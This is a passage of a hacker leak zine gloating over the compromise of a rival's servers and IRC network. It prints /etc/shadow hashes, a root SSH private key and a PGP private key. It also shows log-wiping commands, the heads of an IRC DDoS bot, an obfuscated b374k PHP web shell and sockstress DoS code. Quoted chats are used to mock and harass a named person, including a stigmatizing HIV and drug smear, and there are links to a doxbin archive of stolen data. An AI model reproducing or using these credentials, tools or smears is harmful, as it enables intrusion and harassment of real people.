484  sync:*:15456:0:99999:7:::
485  games:*:15456:0:99999:7:::
486  man:*:15456:0:99999:7:::
487  lp:*:15456:0:99999:7:::
488  mail:*:15456:0:99999:7:::
489  news:*:15456:0:99999:7:::
490  uucp:*:15456:0:99999:7:::
491  proxy:*:15456:0:99999:7:::
492  www-data:*:15456:0:99999:7:::
493  backup:*:15456:0:99999:7:::
494  list:*:15456:0:99999:7:::
495  irc:*:15456:0:99999:7:::
496  gnats:*:15456:0:99999:7:::
497  nobody:*:15456:0:99999:7:::
498  libuuid:!:15456:0:99999:7:::
499  syslog:*:15456:0:99999:7:::
500  messagebus:*:15456:0:99999:7:::
501  sshd:*:15456:0:99999:7:::
502  mysql:!:15702:0:99999:7:::
503  ircd:$6$p5stWK5d$KWaty2jOzbe5fCt7ClMgQy9z8Vtl3/QZTkG.IQ55sooxAxLkNnGhqPlKBaygsDKuMCe6mlBcsKMvnjhvlcl8X1:16093:0:99999:7:::
504  debian-tor:*:16091:0:99999:7:::
505  sevens:$6$X20vZuXB$47GYAIw6hswpBZLF8zu6oqxdBFM4.NgF/i7Z8TLac//m1xp.a0ye6f8eWoyUwFsolKMG94JfW6bt/ayrq40WZ1:16096:0:99999:7:::
506  stunnel4:!:16092:0:99999:7:::
507  bitlbee:!:16092:0:99999:7:::
508  git:$6$79vMHUZE$c/Tun75Y1yBLLYPZn8n3YQNzY8AExfbR1YjunNXjpqsAqdrgqbxLWsub/f1625Nu8fcR2O5Aiw41Dr3/UXBXV1:16093:0:99999:7:::
509  w:$6$/iXCn59q$eQqO9gbZQffhmsaz6XhPPfpoSR7BT4ktiTJqjFqrgmBQm.DFBXdAJdlFIoZCGazpskWWjJq9fJ4FVHfqxExCr/:16100:0:99999:7:::
510  root@priv11:~# cat .bash_history
511  apt-get update
512  apt-get dist-upgrade
513  vi /etc/rc.local
514  ls -lah
515  vi onboot.sh
516  chmod +x onboot.sh 
517  :> /root/.mysql_history
518  :> /var/log/lastlog
519  :> /root/.bash_history
520  :> /var/log/wtmp
521  rm /etc/ssh/ssh_host_*_key{,.pub}
522   ^^----WE AREN'T QUITE SURE IF THAT WORKED THERE, CHIEF LOL
523  ls /etc/ssh
524  :> /root/.mysql_history
525  :> /var/log/lastlog
526  :> /root/.bash_history
527  :> /var/log/wtmp
528  poweroff
529  su ircd
530  apt-get isntall screen
531  apt-get install screen
532  apt-get install libxml2-dev libxslt-dev
533  apt-get install python-lxml
534  screen
535  adduser sevens
536  nano /etc/passwd
537  uname -a;id
538  adduser ircd
539  passwd ircd
540  apt-get update
541  apt-get upgrade
542  apt-get kernel-update
543  apt-get upgrade
544  aptitude safe-upgrade
545  uname -a
546  uname -aid
547  uname -a;id
548  apt-get safe-upgrade
549  aptitude safe-upgrade
550  apt-get install build-essentials
551  apt-get install build-essential
552  hostname SOPriv
553  apt-get install tor
554  cd /etc/tor
555  ls
556  cd /var/lib/tor
557  ls
558  cd /etc/tor
559  ls
560  nano torrc
561  killall tor
562  tor
563  cd /var/lib/tor
564  ls
565  cd ./hidden_service/
566  ls
567  git glone https://github.com/katmagic/Shallot.git
568  apt-get install git
569  git clone https://github.com/katmagic/Shallot.git
570  ls
571  cd ./Shallot/
572  ls
573  ./configure
574  apt-get isntall gcc
575  apt-get install gcc
576  ./configure && make
577  apt-get install pen-ssl
578  apt-get install open-ssl
579  apt-get install ssllibs
580  apt-get install openssl
581  apt-get install libcurl4-openssl-dev
582  ./configure && make
583  ls
584  ./shallot 
585  ./shallot sevens
586  ./shallot nojihad
587  cd -
588  rm private_key 
589  nano private_key
590  killall tor
591  tor
592  nano hostname 
593  cd /home/ircd/
594  su ircd
595  root@priv11:~# cat .ssh/id_rsa
596  -----BEGIN RSA PRIVATE KEY-----
597  MIIEowIBAAKCAQEAyW+SsLYZrR5s44Udng+42wbyRjDwb9hp7JjDcG/0jR5UwcA1
598  IGl3TLKlegeftb3Pb4+p0qU7c1wzn5doeo7niMHOZbTq1lxiYkQeAlj29jTJV44i
599  Nh7Zwoz+U0moIFFXoiONaLp2UNxs6DM0xbAkTdQZbYKrPmrVNg/Fl0yenC4q5x/W
600  WhGgTMYlfYTPuCQglVGq7FgH1LaCXoOndF83wGixZylWHIpiuMc3mVGm7xtz2lZU
601  DPFouOH4jlNA+F+ovdT620oueAysG/iKekJIgcZySCH7XlswSENqdJdyHjiLNsSv
602  wB8RFXNFICXlEYZvEF7TXOPKo3masBtKhIbISQIDAQABAoIBABsF9M/wHhGzezgq
603  q4aA5XO8wtPXzOm0RsGO3OlAm7Yy03wKpRXsEC0h6kEstKhVBncY9tdjg04+mE5Y
604  qZOHiFg4Z9ANLVQEoM4+BSibdsYg3sH4N267RMtsztGtl/h98Ru3WUkreqPubk3Y
605  UMQUlUo7og2m8gI1otTV2NQrWzvoWFDVxVvetP+THfuK/lkK3rpsSx1VCExNKDhq
606  rKwZ2bo+4VzrDi8IA++3b/72f6v42xNtPJYih7w7ECzVRzMFk9oo3yZcwni/ZTvC
607  O2qqHnQsNPVFFwcKu3t1oG2eCH+FsZgMPhTqbHap6KB+HHgm2uTribM8Ztc55dAY
608  HRpoAuECgYEA/zLbtXEpXZlOqJXd2MPU6oSy82TXN8eqY6zFDhQHyfWlVt6gZ2jq
609  sX+JSQg4X3tc1zUczYPhcSZHETRfin4IIwPnIy1D/xOFw8YrCDxcVotP3ySfYhmO
610  ZRZQJ3YCJ2DuEVm4dX5LNwgM7TUxDkn/RsVGSkyQrdvW+KS4Gg2JTF8CgYEAyhF/
611  WQAVMUfYdjBM/sG552kMgL3GEIlHJ53cRGOlSzKi3rtrfeX9tpbJAT+dKZBhdsja
612  86+F5XCDtucv7TW3/e4z60Ta1Y0BBsIijjZIciEDeE7G9SjLydmiUZM+OkWc52kb
613  bE4omfZi3rg2YiCllW6MWKXtQfHGl4EVAN8yrFcCgYAh/YsoApeI4PeKGtP+oC7G
614  wb/4DTFhO5XlSsjAVEipTK+l/2cL/vxrgdouQQsJJKw7+dYJRYyMfpWuo/QpxRme
615  WFG77LaGzfneFpH6udduq4WK6hzUeyTtL+ijKOOmjRGIfBPGinjILqlSGuiax55Z
616  tcLj+Ii4r3RVj9L5nV3xLwKBgGuYBYcOVDp5VvkXnufHn4Vomg+y/NOxRQIDPFXt
617  +QWhYLfYc9QFsqKWh1Dy3mxTRJJLQMqgm1sgHgI1938HK4E6ZMrRTvSGsBU5Kc0v
618  ekPK8F4PFEFWB6zjBVsKXAgLKRDPFpsEwvm4B80vqUV2vLRkuLY7I6oJYwUo5lYg
619  gorhAoGBAPmWkiL2AlqjJfoocf5Gz9SKFOVC6iV++Z/Dz1vMKW2FjTX/uiTfRsPO
620  mn/+NqBo1/Kiy8YP6+Dxrjytv/AtMx0TWzEoKev40d5ZzuUseQRpzHaSK75KKHzp
621  rmYhQ1EU/Y3sy4LJyV25g9i2YAqOmk430vvUOjsYqXfiDFbBMe/G
622  -----END RSA PRIVATE KEY-----
623  root@priv11:~# cat .ssh/id_rsa.pub
624  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJb5KwthmtHmzjhR2eD7jbBvJGMPBv2GnsmMNwb/SNHlTBwDUgaXdMsqV6B5+1vc9vj6nSpTtzXDOfl2h6jueIwc5ltOrWXGJiRB4CWPb2NMlXjiI2HtnCjP5TSaggUVeiI41ounZQ3GzoMzTFsCRN1Bltgqs+atU2D8WXTJ6cLirnH9ZaEaBMxiV9hM+4JCCVUarsWAfUtoJeg6d0XzfAaLFnKVYcimK4xzeZUabvG3PaVlQM8Wi44fiOU0D4X6i91PrbSi54DKwb+Ip6QkiBxnJIIfteWzBIQ2p0l3IeOIs2xK/AHxEVc0UgJeURhm8QXtNc48qjeZqwG0qEhshJ root@priv11
625  root@priv11:/home/sevens# ls -lart
626  total 312
627  -rw-r--r-- 1 sevens sevens  39927 Jan 15 14:10 k.c
628  -rw-r--r-- 1 sevens sevens    675 Jan 21 00:43 .profile
629  -rw-r--r-- 1 sevens sevens   3486 Jan 21 00:43 .bashrc
630  -rw-r--r-- 1 sevens sevens    220 Jan 21 00:43 .bash_logout
631  drwx------ 2 sevens sevens   4096 Jan 21 00:45 .cache
632  drwx------ 3 sevens sevens   4096 Jan 21 00:46 .config
633  -rw-r--r-- 1 sevens sevens      0 Jan 22 17:37 .hushlogin
634  drwxr-xr-x 7 sevens sevens   4096 Jan 23 03:21 ..
635  drwxr-xr-x 2 sevens sevens   4096 Jan 23 03:37 .ssh
636  drwxr-xr-x 3 sevens sevens   4096 Jan 24 16:47 home
637  -rw-r--r-- 1 sevens sevens  57546 Jan 26 13:15 b374k.php
638  -rw-r--r-- 1 sevens sevens 128270 Jan 26 14:46 b37.txt
639  drwx------ 2 sevens sevens   4096 Jan 26 16:36 .gnupg
640  -rw-r--r-- 1 sevens sevens  33715 Jan 26 21:23 .zcompdump
641  -rw------- 1 sevens sevens     16 Jan 30 14:35 .nano_history
642  drwxr-xr-x 7 sevens sevens   4096 Jan 30 17:43 .
643  -rw------- 1 sevens sevens    149 Jan 30 20:11 .bash_history
644  root@priv11:/home/sevens# cat .bash_history
645  df -h
646  grep "ALF" *
647  htop
648  df -h
649  cd /tmp
650  ls
651  rm -rf ALF.S01-S04.COMPLETE.DVDRip.XviD-SCC/ <----lelelelelelelelekakkakekoaekOKEAOakehaHAUHAUAH
652  df -h
653  nc irc.echonode.com 6667
654  last
655  cat /etc/passwd
656  who
657  w
658  last
659^^^^^^ PARANOIA RUNS DEEP, INTO YOUR LIFE IT WILL SEEP
660
661-==========================================================-
662-=== /!\ WARNING INTENSIVE RESEARCH IN PROGRESS /!\ =======-
663-==========================================================-
664
665"I'm so glad I do real research and am not just a chatter."
666  - Michael Dean Major, Jr.
667
668  root@priv11:/home/sevens# head k.c
669  /*******************************************************************************
670   *   This is a IRC based distributed denial of service client.  It connects to *
671   * the server specified below and accepts commands via the channel specified.  *
672   * The syntax is:                                                              *
673   *       !<nick> <command>                                                     *
674   * You send this message to the channel that is defined later in this code.    *
675   * Where <nick> is the nickname of the client (which can include wildcards)    *
676   * and the command is the command that should be sent.  For example, if you    *
677   * want to tell all the clients with the nickname starting with N, to send you *
678   * the help message, you type in the channel:                                  *
679  root@priv11:/home/sevens# lol
680  bash: lol: command not found
681  root@priv11:/home/sevens# head b374k.php
682  <?php
683  /*
684    b374k 2.7
685    Jayalah Indonesiaku
686    (c)2013 
687    http://code.google.com/p/b374k-shell
688
689  */
690  $s_pass = "9cdfb439c7876e703e307864c9167a15"; // shell password, fill with password in md5 format to protect shell, default : b374k
691  $s_func="cr"."eat"."e_fun"."cti"."on";$b374k=@$s_func('$x,$y','ev'.'al'.'("\$s_pass=\"$y\";?>".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("7P1nm+M20igMf779K7RaH/f0qqdJUXnG3V4FKkukcrB9+mImxShGSbb/+wswiZTUPT1je8/e7/WMd2cohEKhUACqCkDVjz8ZovFdJvO99eJyZuYpk8UeK9nP8Lct2QoHU
692  root@priv11:/home/sevens# lolol
693  bash: lolol: command not found
694  root@priv11:/home/sevens# cd home
695  root@priv11:/home/sevens/home# ls -lart
696  total 80
697  -rw-r--r-- 1 sevens sevens  7139 Apr 16  2012 README.txt
698  -rw-r--r-- 1 sevens sevens   120 Apr 16  2012 Makefile
699  -rw-r--r-- 1 sevens sevens 16291 Apr 16  2012 sockstress.c
700  -rwxr-xr-x 1 sevens sevens   153 Apr 16  2012 drop_rst.sh
701  drwxr-xr-x 2 sevens sevens  4096 Apr 16  2012 payloads
702  -rw-r--r-- 1 sevens sevens  8980 Jan 24 16:46 sockstress.o
703  -rwxr-xr-x 1 sevens sevens 17036 Jan 24 16:46 sockstress
704  -rw-r--r-- 1 sevens sevens   110 Jan 24 16:47 irc
705  drwxr-xr-x 3 sevens sevens  4096 Jan 24 16:47 .
706  drwxr-xr-x 7 sevens sevens  4096 Jan 30 17:43 ..
707  root@priv11:/home/sevens/home# # oooh yeah here we go, hann's OHDAY PARTY TIME!
708  root@priv11:/home/sevens/home# head sockstress.c/*
709   *     _____  ____   _____ _  __ _____ _______ _____  ______  _____  _____ 
710   *    / ____|/ __ \ / ____| |/ // ____|__   __|  __ \|  ____|/ ____|/ ____|
711   *   | (___ | |  | | |    | ' /| (___    | |  | |__) | |__  | (___ | (___  
712   *    \___ \| |  | | |    |  <  \___ \   | |  |  _  /|  __|  \___ \ \___ \
713   *    ____) | |__| | |____| . \ ____) |  | |  | | \ \| |____ ____) |____) |
714   *   |_____/ \____/ \_____|_|\_\_____/   |_|  |_|  \_\______|_____/|_____/ 
715   *                         
716   *                            CVE-2008-4609
717   *                   https://defuse.ca/sockstress.htm
718
719  root@priv11:/home/sevens/home# # hann's 2k-h1p2c0de y0
720  root@priv11:/home/sevens/home# head drop_rst.sh
721  #!/bin/bash
722  if [ $# -eq 0 ] ; then
723      echo "Usage: ./drop_rst.sh <remote_ip>"
724      exit 1
725  fi
726  iptables -A OUTPUT -p tcp --tcp-flags rst rst -d $1 -j DROP
727
728  root@priv11:/home/sevens/home# # NARY A CHAR WASTED WITH THIS BEAUT!
729
730alright, let's take a look at this payloads dir... I'm sure this is where all his hardcore research goes...
731
732  root@priv11:/home/sevens/home/payloads# ls -lart
733  total 24
734  -rw-r--r-- 1 sevens sevens  130 Apr 16  2012 smtp
735  -rw-r--r-- 1 sevens sevens   20 Apr 16  2012 http
736  -rw-r--r-- 1 sevens sevens   21 Apr 16  2012 dns_axfr
737  -rw-r--r-- 1 sevens sevens   29 Apr 16  2012 dns_a
738  drwxr-xr-x 2 sevens sevens 4096 Apr 16  2012 .
739  drwxr-xr-x 3 sevens sevens 4096 Jan 24 16:47 ..
740  root@priv11:/home/sevens/home/payloads# cat smtp
741  HELO gmail.com
742  MAIL FROM: foo@gmail.com
743  RCPT TO: victim@victim-domain.com
744  DATA
745  Subject: AAAAAAAAAAAAA
746  BBBBBBBBBBBBBBBBBBB
747  .
748  QUIT
749  root@priv11:/home/sevens/home/payloads# cat http
750  GET / HTTP/1.0
751
752  root@priv11:/home/sevens/home/payloads# cat dns_a
753  0waffle.co% 
754
755  root@priv11:/home/sevens/home/payloads# cat dns_axfr
756
757  aaaaaaaaaaacomÃ¼%
758
759-=== /!\ WARNING 0DAY DEV NOTES JUST RELEASED!! /!\ =======-
760-=== /!\ GMAIL HACKER: CONFIRMED ETHICS BREACH! /!\ =======-
761
762  <marc> Starfall can u google
763  <marc> how to backup
764  <marc> .db files from here
765  <marc> while i
766  <marc> set modes
767  <Starfall> rsync?
768  <marc> -OperServ- Unknown command rsync.  "/msg OperServ HELP" for help.
769  <Starfall> ...
770  <Starfall> im gonna just act like that didnt happen
771  <Starfall> everybody here is tired
772  <Starfall> nobody saw that
773
774-==========================================================-
775-=== Exhibit C: /die /die /die my darlin ==================-
776-==========================================================-
777
778MellyEL8 posing as nachash in #opers on new network, dropping knowledge about
7793 day old public exploit that hann just learned about, he asks how nachash knows?
780
781  ... hann reads comics.
782
783HANN SHIVERS HIS OWN TIMBERS HKEKEKKEKEKEkkekEKk
784
785  < Global> ChanServ: marc!marc@pool-108-56-251-199.washdc.fios.verizon.net (level 10000) set access level 9 to chF (group chF) on channel #sevens
786  < Global> ChanServ: marc!marc@pool-108-56-251-199.washdc.fios.verizon.net (level 10000) set access level 10 to chF (group chF) on channel #sevens
787  < marc> ok nice
788  < marc> ugh im getting
789  < marc> too good @ this
790  < marc> ircd backed up
791  <       marc> | wind
792  < marc> kms sent me like
793  < marc> 100 msgs last night
794  < marc> iw as afk
795  < marc> something about a POC for a grsec bypass
796  < marc> if i read it right
797  < marc> which is huge
798  < Global> NickServ: wind!wind@localhost (e-mail: none) changed its password.
799  <       marc> | wind /hs on
800  < marc> and /cycle in chans
801  < marc> if u woul
802  < marc> i like that vhost lol
803  <        wind> | it's probably the local 3.4 
804  <        wind> | that has no protections at all
805  < marc> mayb
806  <        wind> | so there's nothing to bypass
807  < marc> <grsecurity> If you're running Linux 3.4 or newer and enabled
808  < marc> <KMS> CONFIG_X86_X32 , you need to disable it or update 
809  < marc> <KMS> immediately; upstream vuln CVE-2014-0038
810  < marc> <KMS> <grsecurity> It doesn't get any more serious, nearly an arbitrary write which nothing (including grsecurity) will 
811  < marc> <KMS> prevent exploitation of
812  < marc> <KMS> <grsecurity> To give you an idea of the level of testing that went into X32 support, a syscall fuzzer trying random 
813  < marc> <KMS> syscall numbers could have found this
814  < marc> <KMS> <grsecurity> Yet it sat in the kernel for over a year and a half
815  < marc> <KMS> <grsecurity> I would not be surprised to see an exploit for this within the next few days
816  < marc> <KMS> <@grsecurity> @awasi1001 Our latest test patch uploaded today contains the fix. The stable 3.2 tree is not affected.
817  < marc> <KMS>  
818  < marc> <KMS> <grsecurity> In case there's confusion, this vuln is not about 32bit userland on 64bit (CONFIG_X86_32), but the new X32 
819  <        wind> | it's just an arbitrary write primitive
820  <        wind> | yeah that's the one
821  <        wind> | there's already a shit fuck exploit for it
822  <        wind> | that barely compiles and takes 13 minutes to root
823  < marc> who told u this
824  <        wind> | it's public knowledge
825  <       marc> | wind im reading comics
826  < marc> got an awesome comic reader with .cbr files
827
828After hann got nulled by zee, he moved his irc to a new joint where we had onion
829access too (everyone else was connecting from a znc to a clearnet IP 
830pool-108-56-251-199.washdc.fios.verizon.net).
831
832Anxious to get rid of the cretinous bottom feeder and be done with it, we made
833one final play: /nick'd up as our true selves [Lord]IntangirTheGod and hit the
834default kill switch "/die die-you-stupid" (fantastic administration, hann):
835
836  =             --- | You're now known as [Lord]IntangirTheGod
837  =  <~[Lord]IntangirTheGod> SHOUTS TO THE SILVERLORDS MOTHER FUCKERS
838  =  <~[Lord]IntangirTheGod> SHOUTS TO ELLYEL8 AND MELLYEL8
839  =  <~[Lord]IntangirTheGod> In 2013, hann started telling close friends that he's been infected with [[GRIDS]] ever since the first   time he tried heroin. Once this story inevitably spread, he changed his story by saying that he lied about having AIDS in order to gain sympathy and pandhandle money from these friends, because he's a shameless junkie piece of shit. It was originally proposed as a thought experiment that much like Schrodinger's Cat, hann could be thought to both be HIV positive and negative at the same time. It was later determined by a panel of duly elected dramacrats that actual infection by a retrovirus is irrelevant in hann's case - he has AIDS.
840  =  <~[Lord]IntangirTheGod> THERE'S A MESSAGE FROM THE REAL NACHASH TO YOU, MARC
841  =  <~[Lord]IntangirTheGod> bam bam bamBAM BAM!
842  =  <~marc> lol not funny
843  =  <~marc> scared me
844  =  <~[Lord]IntangirTheGod> AND YOU'RE 
845  =  <~[Lord]IntangirTheGod> GONE
846  =  <~marc> chf
847
848Too late, hann, /die die-you-stupid was already sent. Your irc was delinked and
849you melted down, fucking hard:
850  
851  z: new fingerprint: D81F27FA 3B4EA990 0F0D1B29 52CBDE40 34066216
852  z: conversation is now off the record (untrusted!)
853  z	hey nac
854  z	you there, need to talk to you
855  wind	Hey
856  z	hey
857  z	sorry
858  z	irc  
859  z	nachash
860  z	wtf is that about?
861  z	why'd you jupe the server?
862  z	wtf?
863  z	did someone hack your client?
864  z	something wrong?
865  z	what is that about dude?
866  wind	LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL
867  wind	yes hello
868  wind	IntangirTheGod here
869  z	wtf
870  wind	World's greatest nachash impersonator
871  z	uh what
872  z	?
873  z	nac stop fucking around
874  z	wtf is all this about?
875  wind	hann status: brutally fucked with a rake by the almighty SilverLords
876  z	are u high
877  wind	imgay
878  wind	imgay
879  wind	imgay
880  wind	imgay
881  wind	imgay
882  wind	imgay
883  wind	imgay
884  wind	imgay
885  wind	imgay
886  wind	imgay
887  wind	imgay
888  wind	imgay
889  wind	imgay
890  wind	imgay
891  wind	How does it feel
892  wind	to be stepped on like an insect
893  wind	by the world's greatest social engineer?
894  wind	tl;dr
895  wind	you got played like a cheap instrument
896  wind	from day 1 kiddo
897  wind	Is your face getting hot right about now?
898  wind	Nice to know what you really thought about me, btw
899  z	what?
900  wind	You could barely contain your enthusiasm for shit talking me as soon as you thought that I got owned
901  z	i dont have time for this
902  wind	I guess
903  wind	I need to spell it out
904  z	omg really i said all the things
905  wind	I'm Intangir, you doofus
906  z	i said to you in your face actually
907  z	if this is even not a sorry troll
908  wind	You're not good enough to scrape gum off of the real nachash's shoes
909  z	a lot of things didnt add up but i certainly wouldnt call pretending to be someone
910  wind	When you came back, he told me if I wanted to have a bit of fun
911  wind	to poke and prod you at will
912  z	and getting literally nothing but a server jupe out of it
913  wind	Oh, I got a bit more than that
914  z	ok well have fun lol
915  wind	btw
916  z	i have a lot more important things to deal with
917  wind	I rather enjoyed
918  wind	all the sha1s
919  z	if anything u just saw that i said the same things to him
920  wind	from your nickserv db
921  z	as i said to you
922  z	ok lol
923  z	a ns db?
924  z	cmon kid
925  z	this is depressing
926  z	go somewhere lol
927  wind	That's just the tip of the iceberg
928  z	that was pathetic
929  z	rip nachash
930  z	ok enjoy yaself young
931  wind	got that /etc/shadow from the old box too
932  z	oh wow
933  z	that will really
934  z	get u far
935  wind	btw
936  wind	in case of paste failure
937  <--	z (z@zauris.ru) has quit (Leaving...)
938  wind	In 2013, hann started telling close friends that he's been infected with [[GRIDS]] ever since the first time he  tried heroin. Once this story inevitably spread, he changed his story by saying that he lied about having AIDS in order to gain sympathy and pandhandle money from these friends, because he's a shameless junkie piece of shit. It was originally proposed as a thought experiment that much   like
939  wind	Schrodinger's Cat, hann could be thought to both be HIV positive and negative at the same time. It was later determined by a panel of duly elected dramacrats that actual infection by a retrovirus is irrelevant in hann's case - he has AIDS.
940  --	[z] is away: Offline
941  wind	LOOOOOOOOOOOOL
942
943-==========================================================-
944-=== Epilogue: Less is more. More is more. ================-
945-==========================================================-
946
947And in conclusion, Michael's autism knows no bounds (this one is for you,
948NSA)!
949
950  $ curl http://chf.re/marc.txt
951  marcdoubt@Safe-mail.net
952
953  BM-2cV6MTUSwX5srezWyHoJDJcJE8ZhbN89Vy@bitmessage.ch
954
955  BM-2cU8XpE6e7GD8iTXzNRw9PyGWxWzwrufDp
956
957  -----BEGIN PGP PRIVATE KEY BLOCK-----
958  Version: GnuPG v1.4.11 (GNU/Linux)
959
960  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
997  =2DDf
998  -----END PGP PRIVATE KEY BLOCK-----
999
1000-==========================================================-
1001-=== Further Reading ======================================-
1002-==========================================================-
1003
1004All of the data recovered from his boxes (and more!) can be found at:
1005  http://doxbinicsjqqmohl.onion/media/Hann_Wars_IV_-_A_New_Hope.tgz
1006
1007Encyclopedia Dramatica's Hann:
1008  http://encyclopediadramatica.es/Hann
1009
1010Doxbin 6: Hann:
1011  http://doxbinicsjqqmohl.onion/doxviewer.php?dox=doxbin_6_hann